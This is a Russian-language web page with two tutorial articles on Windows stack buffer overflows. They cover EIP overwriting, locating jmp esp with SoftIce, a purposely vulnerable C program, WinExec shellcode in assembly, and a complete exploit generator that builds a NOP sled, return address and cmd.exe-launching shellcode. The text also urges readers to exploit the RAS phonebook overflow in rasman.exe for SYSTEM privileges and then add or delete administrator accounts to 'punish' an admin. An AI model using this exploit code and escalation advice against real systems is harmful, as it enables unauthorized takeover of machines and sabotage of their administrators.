Мир программирования

 


Найти: на:


Меню
Партнеры
Счетчики
Реклама

Stack overflows - Переполнения стека


Ошибка переполнения стека

1. Введение

Проблема переполнения локальных буферов возникла в софте с момента появления структурного программирования, то есть дробления кода модуля на процедуры и заключается в передаче в некоторый локальный буфер блока данных, превышающего размеры этого буфера. Схематически это выглядит так:


Таким образом лишние данные записываются, вот в этом то и вся фишка, записываются они в ту часть стека, которая предназначена для обеспечения корректного возврата из процедуры. Таким образом переполнение приводит к перезаписи некоторых регистров процессора, а конкретно регистра EIP(командный указатель) и регистра EBP(база для стековых операций). К чему это приводит - судите сами:

В данном случае в EIP попал код 0х41 что соответствует ASCII коду литеры 'A'-это означает что приложение попыталось заполнить локальный буфер строкой состоящей из литер А, а поскольку длина строки превысила размер буфера то и произошло переполнение. Данный пример показывает, что переполнение изменило обычный процесс исполнения программы и привело к переходу по адресу, который благодаря переполнению попал в командный указатель. Теперь, собственно, можно перейти к описанию эксплоитов.

2. Эксплоиты

Эксплоиты Exploit(анг.-использовать в своих целях) - Таким образом названа строка кода, вызывающая описанное выше переполнение локального буфера. Но эксплоит - это не просто тупой набор символов приводящий к завершению приложения(это обычный DoS-Denial Of Service), а интеллектуальная строка-иначе говоря программа. Это означает что вместо символов она содержит опкоды(машинные инструкции), исполняемые процессором и потому после переполнения процессор перейдет по адресу который будет указывать на эти инструкции и исполнит их. Основная трудность заключается в определении этого адреса с целью последующей его передачи в командный указатель. Рассмотрим следующую схему:

При переполнении buffer'а, как видно из рисунка, будут затерты сохран.значение EBP и адрес возврата. Запустив SoftIce легко определить положение того байта в строке передаваемой в буфер который затрет собой первый байт адреса возврата. Далее начиная с определенной выше позиции помещаем 4-байтовый указатель на наш код. При выходе из процедуры команда ret вытолкнет этот указатель в EIP и исполнение программы продолжится с нашего адреса. Этот адрес опять же можно определить с помощью SoftIce. Но есть и другой способ-по возвращении из процедуры регистр ESP будет указывать на область в которой располагается наш код-потомму гораздо еффективнее передать в EIP адрес инструкции call esp которая может располагаться в любой длл, подгружаемой программой-остается лишь выяснить этот адрес-для этого выясняется список импорта, берется Hiew и в выбранной длл ищется инструкция call esp, затем найденное смещение складывается с ImageBase и в итоге получается абсолютный виртуальный адрес необходимой инструкции, который и передается в EIP.
Вбиваем в Сайс(SoftIce): s 10000000 L ffffffff ff e4
то есть искать ff e4(jmp esp) с 10000000 по ffffffff
И результат: Pattern found at 0010:77e8898B, что соответствует kernel32.dll.
Этот метод удобнее, потому как Сайс ищет прямо в памяти взрываемой проги - если естественно она в Сайс загружена и трассируется в данный момент.

3. Цель создания эксплоита

Необходимо отметить что все эксплоиты делятся на две группы - локальные и удаленные. Удаленные используются в основном в локальных и глобальных сетях для получения доступа к удаленной машине. Для создания и внедрения удаленных эксплоитов требуется достаточно серьезная подготовка-поэтому мы будем рассматривать локальные эксплоиты, имеющие своей целью атаку локальной машины. К примеру вы имеете доступ к машине с ОС WinNT WKS или Win2000Pro и злой админ запретил вам выход в инет. "Так как его проучить?" - ответ прост - создайте локальный эксплоит. "И что это мне даст?"- спросите вы - да почти все! Простой пример расставить точки над i.
Все работали с RAS, но мало кто знает, что он подвержен переполнению буфера в очень банальном месте. Если передать слишком длинный номер телефона ISP то rasman.exe вылетит. Очень важна следующая особенность - к примеру, если вы запустите мейлер и попробуете отправить почту, то винда предложит вам подсоединиться к интернету. Перед этим нужно заменить файл телефонной книги rasphone.pbk на одноименный файл, содержащий вместо телефона провайдера, эксплоит. Для изменения этого файла не нужны специальные разрешения если конечно админ их не создал. Но обычно с этим все в порядке. Так как rasman запустится в системном контексте(то есть с привилегиями системы - для него буде создан такой дескриптор LSA), то запущенная в результате переполнения консоль будет обладать правами аналогичными правам админа, ну а теперь уж делай, чего душа пожелает и знания позволяют. Вместо мейлера можно запустить браузер и запросить какой-нибудь URL, которого нет в кэше - Iexplorer предложит подключится и вот-тут то и запустится rasman.exe. Вообщем поле для деятельности обширное.

4.Как определить чего взрывать

Как обычно есть проверенный годами метод тыка - проверяйте на уязвимость все модули, парсирующие строки-от строки адреса в вашем браузере или NetMeeting'e до rundll32 - если сможете.
Можно использовать SoftIce, но это дело для подготовленных людей. Наиболее простой способ - искать информацию в интрнете на различных форумах и сайтах, посвященных эксплоитам - ищите и обрящете - и затем просто усовершенствовать написанное - это лучший способ обучения. Тут же можно смесло сказать, что bugTraq (www.securityfocus.com) является самым большим архивом в мире по эксплоитам.

5.Чего лучше на(ш)кодить?

ИМХО: наилучшим продолжением взрываемой проги(для тех кто в танке - для программы, уязвимой для stackoverflow) является запуск консоли. Это легко проделать запустив командную оболочку типа cmd.exe - в Unix-системах это называется shell. А реализовать вызов cmd.exe можно с помощью вызова функции system(), экспортируемой из msvcrt.dll. Ежели программа использует данную dll'ку, то вам пофартило, а ежели нет, то придется использовать LoadLibrary() в паре с GetProcAddress(). Причиной такого совета является то, что знающий человек с помощью шелла, запущенного в контексте system(для NT и других) или root(Unix и подобные) может горы свернуть, к примеру создаст нового юзера с правами Админа просто вставив его в группу "Администраторы"(NT) и затем войдя вновь этим юзером удалит старый аккаунт администратора (это если нужно админа проучить), либо включит группу простых юзеров в группу "Администраторы" - таким образом каждый новый юзер будет входить в контексте администратора и администратор не сразу поймет. Хотел бы заметить, что это распространяется только для локальных профилей юзеров - глобальные профили хранятся на первичном контроллере домена и изменив администратора на localhost'e вы не заденете группу "Администраторы" домена.

6.Структурная схема построения эксплоита

Структурная схема эксплоита

Опкоды(сокр: Operation Code(Коды Операции) или по другому расшифровывается как Оптимизированные коды) - это машинные инструкции в цифровом представлении. К примеру в ассемблере используются мнемокоды типа:
mov eax,ebx
push eax
ret
Опкоды для приведенных выше асм-инструкций имеют вид:
mov eax,ebx >> 66 8B C3
push eax >> 66 50
ret >> C3
для получения вида опкодов для любых мнемоник можно использовать любой ассемблер.
Я лично пользуюсь ассемблером, встроенным в Hiew.

Stack Overflows in Action

1. Header

В прошлой статье я выложил информацию общего плана, которая необходима для тех, кто услышал о эксплоитах впервые, а тем более никогда не вникал в основную идею. Теперь приступлю к изложению непосредственно практики, которая на самом деле и является воплощением предыдущей статьи.
Сразу хочу предупредить, что данный шелл не совершенен и максимально упрощен, к примеру вместо получения адреса необходимых функций с помощью пары LoadLibrary/GetProcAddress используются прямые ссылки, что локализирует действие данного шелла на те системы, на которых адреса, зашитые в шелл совпадут с реальными адресами функций в DLL. Очевидно от чего это зависит - если Windows загрузит DLL по другой базе, то шелл вылетит с сообщением типа вот такого:


...где 0х77е8898b адрес jmp esp в kernel32.dll в моей системе.
Поэтому в данном шелле подбор адресов должен производится чисто индивидуально для каждой системы. Далее я опишу как определять эти адреса. Зачем так стараться? ИМХО: это улучшит навыки любого кто самостоятельно найдет нужный адрес своим девайсом(то есть ручками). А вообще нужно действовать несколько иначе: для особо продвинутых подскажу идеи:
а) Использовать ссылки из таблицы импорта
б) Использовать LoadLibrary/GetProcAddress
Но эта тема будет обсуждаться в других статьях.
Начнем...

2. Sections

Пишем собственную прогу вида

"owerflow.c"
#include <stdio.h>
#include <string.h>
int test(char *big)
{
      char buffer[100];  // переполняемый буфер
      strcpy(buffer,big);// собственно само переполнение
   return 0;
}
int main ()
{
	char big[512];
	gets(big); // получение текствой строки-сюда-то мы и передаем наш шелл
	test(big); // вызов уязвимой функции
  return 0;
}
В этом коде нет ничего сверхъестественного, а потому идем далее. Как определить, что переполняется, где переполняется и чего куда передавать?
Элементарно! Берем, запускаем нашу программу owerflow.exe(для танкистов - owerflow.exe получается путем компиляции owerflow.c ) и передаем ей строку вида:
Аааааа.........ааааааааа - где-то примерно символов 110 для уверенности. И что мы видим?

Доигрались - скажете вы. А на самом-то деле все отлично прошло, вы взорвали буфер и как результат(об этом я и упоминал в первой части), перезаписали адрес возврата из функции кодом 0х61(тоесть символом 'a'). А теперь я вас хочу спросить: кто мешает вам вместо бессмысленных строк символов передать строку опкодов, которая получила гордое название шелл-кода? Никто! При внимательном рассмотрении сложившейся ситуации под четким оком SoftIce, легко понять что произошло: благодаря специфике стека наша строка затерла собой как сохраненное значение ebp, так и адрес возврата. Обратите внимание, что адрес возврата затирается 104,105,106,107 символами нашей строки(это видно тогда, когда вместо ааа..аааа передется последовательность символов с ASCII кодами начиная с 32 по 256), поэтому необходимо сформировать строку так, чтобы 104-107 байты содержали адрес, по которому нужно передать управление. Теперь выясним это самый адрес, но сперва замечу, что байты с 100 по 103 перекрывают сохраненное значение EBP - это нам тоже пригодится для формирования стэка, но об этом позже. Посмотрев в SoftIce содержимое регистра esp в момент переполнения, легко установить, что там содержится адрес байта нашей строки, следующего за последним из четырех байтов, перекрывающих EIP. Сие означает следующее:

(*) - Символы, заполняющие буфер-приемник и потому не имеющие значения, их заполним NOP
(**) - Эти 4 байта начиная с N и заканчивая N+3 перекрывают собой EIP. Поэтому для корректного исполнения шелл-кода они должны содержать адрес, по которому размещается первый байт нашего шелла, либо адрес инструкции, переводящий процессор на исполнение этого первого байта.
(***) - Начиная с N+4 и до M идут опкоды, которые и составят наш шелл. С помощью SoftIce удалось установить, что нужный нам адрес перехода содержится в ESP после исполнения RET в вызываемой функции test -> если переполнить буфер при запущенном SoftIce, то во всплывшем окне отладчика нужно просто просмотреть значения регистров и командой D esp просмотреть содержимое памяти по адресу в esp, там мы увидим нашу строку начиная с N+4.

Отлично! Осталось заполнить строку, начиная со 108-позиции, опкодами и передать управление по адресу в esp. Для этого снова переполним программу при запущенном Sice и когда он всплывет введем команду:
:S 10000000 l ffffffff FF e4
где 10000000-ffffffff-диапазон поиска, а FF e4-опкод инструкции jmp esp
получим:
;Pattern found at xxxxxxxx <- этот адрес может отличаться(у меня он равен 77e98601, что соответствует ntdll.dll).
Мы определили адрес jmp esp-теперь мы передадим этот адрес в позиции 104-107 и получим, что при переполнении в eip будет помещен адрес инструкции jmp esp из ntdll.dll, которая и перебросит нас на 108-позицию нашей строки. Осталось эту самую строку наполнить опкодами. В качестве шелла обычно используют код, реализующий загрузку консоли(для виндов это аналогично окну Command Prompt). Для этого составим программу на C:

"winexec.c"
#include <windows.h>
typedef (*PFUNK)(char*,DWORD);
int main ()
{	
HMODULE hDll=LoadLibrary("kernel32.dll");
	PFUNK pFunc=(PFUNK) GetProcAddress(hDll,"WinExec");
	(*pFunc)("cmd.exe //K start cmd.exe",SW_SHOW);
}
WinExec исполняет программу, требует 2 параметра и располагается в kernel32.dll. Все это работает потому, что kernel32.dll использует любая программа и потому, что адрес не содержит нулевых байтов, наличие которых недопустимо. В переменной pFunc получим адрес WinExec, у каждого он будет свой. Теперь нам нужно сформировать асм-код, вызывающий WinExec. Вот он:

__asm {
	mov esp,ebp; //формируем пролог
	push ebp
	mov ebp,esp
	mov esi,esp
	xor edi,edi; //формируем завершающие нули
	push edi
	sub esp,18h//освобождаем в стэке место под строку
	//стэк должен всегда быть выровнян на границу кратную 4
	//для обеспечения  гранулярности
	mov byte ptr [ebp-1ch],63h //'c'//пулим в стэк строку
	mov byte ptr [ebp-1bh],6Dh //'m'
	mov byte ptr [ebp-1ah],64h //'d'
	mov byte ptr [ebp-19h],2Eh //'.'
	mov byte ptr [ebp-18h],65h //'e'
	mov byte ptr [ebp-17h],78h //'x'
	mov byte ptr [ebp-16h],65h //'e'
	mov byte ptr [ebp-15h],20h //' '
	mov byte ptr [ebp-14h],2fh //'/'
	mov byte ptr [ebp-13h],4bh //'K'
	mov byte ptr [ebp-12h],20h //' '
	mov byte ptr [ebp-11h],73h //'s'
	mov byte ptr [ebp-10h],74h //'t'
	mov byte ptr [ebp-0fh],61h //'a'
	mov byte ptr [ebp-0eh],72h //'r'
	mov byte ptr [ebp-0dh],74h //'t'
	mov byte ptr [ebp-0ch],20h //' '
	mov byte ptr [ebp-0bh],63h //'c'
	mov byte ptr [ebp-0ah],6dh //'m'
	mov byte ptr [ebp-09h],64h //'d'
	mov byte ptr [ebp-08h],2Eh //'.'
	mov byte ptr [ebp-07h],65h //'e'
	mov byte ptr [ebp-06h],78h //'x'
	mov byte ptr [ebp-05h],65h //'e'
	//поместить в eax адрес winexec полученный из pFunc
	mov eax, 0x77e98601
	//поместить в стэк адрес winexec
	push eax
	//передаем параметр SW_SHOW
	push 05
	//передаем адрес строки
	lea eax,[ebp-1ch]
	push eax
	//ExitProcess в eax
	mov eax,0x77e9b0bb
	push eax //устанавливаем адрес возврата
	mov eax, 0x77e98601
	//перейти на точку входа  winexec
	jmp eax		}
Теперь стэк имеет такой вид:

Этот код проверялся в Visual C++6.0 и все работает отлично. Ну теперь осталось сформировать строку из опкодов. А где их взять? Да в том же Visual C++ Debugger. Просто при трассировке из контекстного меню выберите опцию Code Bytes при включенном Disassembly mode и вы получите необходимые опкоды. Осталось только собрать все воедино:
"overflower.c"
#include <stdio.h>
int  main()
{
	int i;
	char buf[256];
//ЗАПОЛНЯЕМ БУФЕР NOP
    for (i=0;i<100;i++)
		buf[i]=0x90;
	// Перекрыть ebp адресом начала нашего строкового буфера,
	// чтобы потом использовать его под стек, адрес передается
	// через xor чтобы затереть нули. Затем инструкцией
	// xor ebp,0xffffffff восстанавливаем первоначальный адрес
	buf[100]=0x3f;
	buf[101]=0x01;
	buf[102]=0xed;
	buf[103]=0xff;
	//поместить адрес инструкции jmp esp
	//расположенной в ntdll.dll по адресу 77f8948B
	//в те 4 байта которые перекрывают eip
	buf[104]=0x8b;
	buf[105]=0x94;//89;
	buf[106]=0xf8;//e8;
	buf[107]=0x77;
	
	buf[108]=0x90;
	//xor ebp,0xffffffff <-формируем министек для последующего вызова winexec
	buf[109]=0x83;
	buf[110]=0xf5;
	buf[111]=0xff;
	//****************
	//mov esp,ebp
	buf[112]=0x8b;
	buf[113]=0xe5;
	//******************
	//push ebp
	buf[114]=0x55;
	//mov ebp,esp
	buf[115]=0x8b;
	buf[116]=0xec;
	//xor edi,edi
	buf[117]=0x33;
	buf[118]=0xff;
	//push edi
	buf[119]=0x57;
	//sub esp,18h
	buf[120]=0x83;
	buf[121]=0xec;
	buf[122]=0x18;
	//**********************************
	//создание строки на стеке         *
   	//mov byte ptr [ebp-19h],63h 'c'
	buf[123]=0xc6;
	buf[124]=0x45;
	buf[125]=0xe4;
	buf[126]=0x63;
	//mov byte ptr [ebp-18h],6dh 'm'
	buf[127]=0xc6;
	buf[128]=0x45;
	buf[129]=0xe5;
	buf[130]=0x6d;
	//mov byte ptr [ebp-17h],64h 'd'
	buf[131]=0xc6;
	buf[132]=0x45;
	buf[133]=0xe6;
	buf[134]=0x64;
	//mov byte ptr [ebp-16h],2eh '.'
	buf[135]=0xc6;
	buf[136]=0x45;
	buf[137]=0xe7;
	buf[138]=0x2e;
	//mov byte ptr [ebp-15h],65h 'e'
	buf[139]=0xc6;
	buf[140]=0x45;
	buf[141]=0xe8;
	buf[142]=0x65;
	//mov byte ptr [ebp-14h],78h 'x'
	buf[143]=0xc6;
	buf[144]=0x45;
	buf[145]=0xe9;
	buf[146]=0x78;
	//mov byte ptr [ebp-13h],65h 'e'
	buf[147]=0xc6;
	buf[148]=0x45;
	buf[149]=0xea;
	buf[150]=0x65;
	
	//mov byte ptr [ebp-12h],20h ' '
	buf[151]=0xc6;
	buf[152]=0x45;
	buf[153]=0xeb;
	buf[154]=0x20;
	
	//mov byte ptr [ebp-11h],2fh '/'
	buf[155]=0xc6;
	buf[156]=0x45;
	buf[157]=0xec;
	buf[158]=0x2f;
	//mov byte ptr [ebp-10h],4bh 'K'
	buf[159]=0xc6;
	buf[160]=0x45;
	buf[161]=0xed;
	buf[162]=0x4b;
	
	//mov byte ptr [ebp-0fh],20h ' '
	buf[163]=0xc6;
	buf[164]=0x45;
	buf[165]=0xee;
	buf[166]=0x20;
	
	//mov byte ptr [ebp-0eh],73h 's'
	buf[167]=0xc6;
	buf[168]=0x45;
	buf[169]=0xef;
	buf[170]=0x73;
	//mov byte ptr [ebp-0dh],74h 't'
	buf[171]=0xc6;
	buf[172]=0x45;
	buf[173]=0xf0;
	buf[174]=0x74;
	//mov byte ptr [ebp-0ch],61h 'a'
	buf[175]=0xc6;
	buf[176]=0x45;
	buf[177]=0xf1;
	buf[178]=0x61;
	//mov byte ptr [ebp-0bh],72h 'r'
	buf[179]=0xc6;
	buf[180]=0x45;
	buf[181]=0xf2;
	buf[182]=0x72;
	//mov byte ptr [ebp-0ah],74h 't'
	buf[183]=0xc6;
	buf[184]=0x45;
	buf[185]=0xf3;
	buf[186]=0x74;
	
	//mov byte ptr [ebp-9],20h ' '
	buf[187]=0xc6;
	buf[188]=0x45;
	buf[189]=0xf4;
	buf[190]=0x20;
	
	//mov byte ptr [ebp-8],63h 'c'
	buf[191]=0xc6;
	buf[192]=0x45;
	buf[193]=0xf5;
	buf[194]=0x63;
	//mov byte ptr [ebp-7],6dh 'm'
	buf[195]=0xc6;
	buf[196]=0x45;
	buf[197]=0xf6;
	buf[198]=0x6d;
	//mov byte ptr [ebp-6],64h 'd'
	buf[199]=0xc6;
	buf[200]=0x45;
	buf[201]=0xf7;
	buf[202]=0x64;
	//mov byte ptr [ebp-5],2eh '.'
	buf[203]=0xc6;
	buf[204]=0x45;
	buf[205]=0xf8;
	buf[206]=0x2e;
	//mov byte ptr [ebp-4],65h 'e'
	buf[207]=0xc6;
	buf[208]=0x45;
	buf[209]=0xf9;
	buf[210]=0x65;
	//mov byte ptr [ebp-3],78h 'x'
	buf[211]=0xc6;
	buf[212]=0x45;
	buf[213]=0xfa;
	buf[214]=0x78;
	//mov byte ptr [ebp-2],65h 'e'
	buf[215]=0xc6;
	buf[216]=0x45;
	buf[217]=0xfb;
	buf[218]=0x65;
	//*************************************
	//mov eax,77 e9 86 01h <-Winexec address
	buf[219]=0xb8;
	buf[220]=0x01;
	buf[221]=0x86;
	buf[222]=0xe9;
	buf[223]=0x77;
	//push eax
	buf[224]=0x50;
	
	//push 05 <-SW_SHOW_NORMAL
	buf[225]=0x6a;
	buf[226]=0x05;
	
	//lea eax,[ebp-1ch] <-адрес строки
	buf[227]=0x8d;
	buf[228]=0x45;
	buf[229]=0xe4;
	//push eax
	buf[230]=0x50;
	//эмулируем call dword ptr [ebp-0ch]
	//для этого формируем адрес возврата и пушим его
	//а затем просто джампим на eax в котором адрес аналог.[ebp-0ch]
	//таким образом прыгаем на winexec, которая возвращает
	//управление на ExitProcess
	
	//mov eax,0x77e8f32d <-ExitProcess
	buf[231]=0xb8;
	buf[232]=0x2d;
	buf[233]=0xf3;
	buf[234]=0xe8;
	buf[235]=0x77;
	//push eax <-сделать адресом возврата адрес переданный в eax
	buf[236]=0x50;
	//mov eax,0x77e8f32d <-WinExec address
	buf[237]=0xb8;
	buf[238]=0x01;
	buf[239]=0x86;
	buf[240]=0xe9;
	buf[241]=0x77;
	//jmp eax <-выполнить WinExec
	buf[242]=0xff;
	buf[243]=0xe0;
	//ПЕРЕДАТЬ СТРОКУ В ПЕРЕПОЛНЯЕМЫЙ БУФЕР
	for(i=0;i<256;i++)
	{
		printf("%c",buf[i]);
	}


}

Ну вот вроде и все. Единственное: добавлю про ebp - этот регистр играет важную роль в нашем нелегком деле. Нужно где-то формировать стэк, но где? А почему не использовать под стэк наш буфер, заполненный NOP? Так и забилдим, под SoftIce посмотрим содержимое ESP и отнимем от него 64h либо зададим искать строку 0х9090909090 - кто как желает, главное найти адрес начала буфера. Затем этот адрес поместим в EBP (помните в начале я акцентировал внимание на том, что байты с 100 по 103 перекрывают ebp - ну так и поместим найденный адрес в эти байты предварительно удалив из него нули). А как? Да очень просто - сделать Исключающее ИЛИ в терминах булевой алгебры, либо по-простому XOR. Тоесть иксорим начальный адрес, передаем в ebp, а затем в шелле снова делаем XOR EBP,0xFFFFFFFF и все! Теперь у нас есть стек.
Недостатками данного шелла являются прямые ссылки на функции, возможно я поправлю эти фичи и запортирую новый шелл, гораздо более универсальный.

[Оглавление]

Опрос

Конкурсы
Реклама

 

Web дизайн: Бурлаков Михаил    

Web программирование: Бурлаков Михаил

Используются технологии uCoz